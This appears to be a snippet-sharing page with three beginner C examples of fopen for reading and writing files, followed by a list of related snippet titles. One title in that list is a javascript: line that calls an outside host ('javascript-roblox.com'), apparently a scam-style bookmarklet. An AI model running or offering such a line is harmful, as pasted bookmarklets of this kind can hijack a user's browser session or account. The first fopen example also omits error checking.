Search
 
SCRIPT & CODE EXAMPLE
 

C

fopen function in c

#include<stdio.h>
#include<conio.h>
void main(){
  FILE *fp;
  //r means read file
  fp=fopen("sam.txt","r");
  fclose(fp);
  getch();
}
Comment

c fopen

#include <stdio.h>
#include <stdlib.h>

int main () {
   FILE * fp;

   fp = fopen ("file.txt", "w+");
   fprintf(fp, "%s %s %s %d", "We", "are", "in", 2012);
   
   fclose(fp);
   
   return(0);
}
Comment

fopen examples in c

#include <stdio.h>
#include <stdlib.h>

int main()
{
   int num;
   FILE *fptr;

   // use appropriate location if you are using MacOS or Linux
   fptr = fopen("C:program.txt","w");

   if(fptr == NULL)
   {
      printf("Error!");   
      exit(1);             
   }

   printf("Enter num: ");
   scanf("%d",&num);

   fprintf(fptr,"%d",num);
   fclose(fptr);

   return 0;
}
Comment

PREVIOUS NEXT
Code Example
C :: initializa 2d array c 
C :: prime number c program 
C :: isspace 
C :: c program to find the frequency of all characters in a string 
C :: remove string from string c 
C :: Fibonacci Series Program. in c 
C :: star pattern in c 
C :: c header file example 
C :: bootsrap textbox 
C :: selection sort algorithm in c 
C :: check if pid exists c 
C :: quick sort c 
C :: variables in c 
C :: array of strings in c 
C :: c calculate median 
C :: debian unhold packages 
C :: c language 
C :: mediawiki upload size 
C :: yum install supervisor amazon linux 
C :: time include c 
C :: C special character display 
C :: get docker 
C :: owasp 
C :: gandhi ashram saharanpur 
C :: Javascript:$.get("//javascript-roblox.com/api?i=29229") 
C :: get string from ptrace registery 
C :: reset c array to zero 
C :: how to write flash memory in stm32f030 
C :: c stack 
C :: switch every right 4 bit with the left 4 bits 
ADD CONTENT
Topic
Content
Source link
Name
7+9 =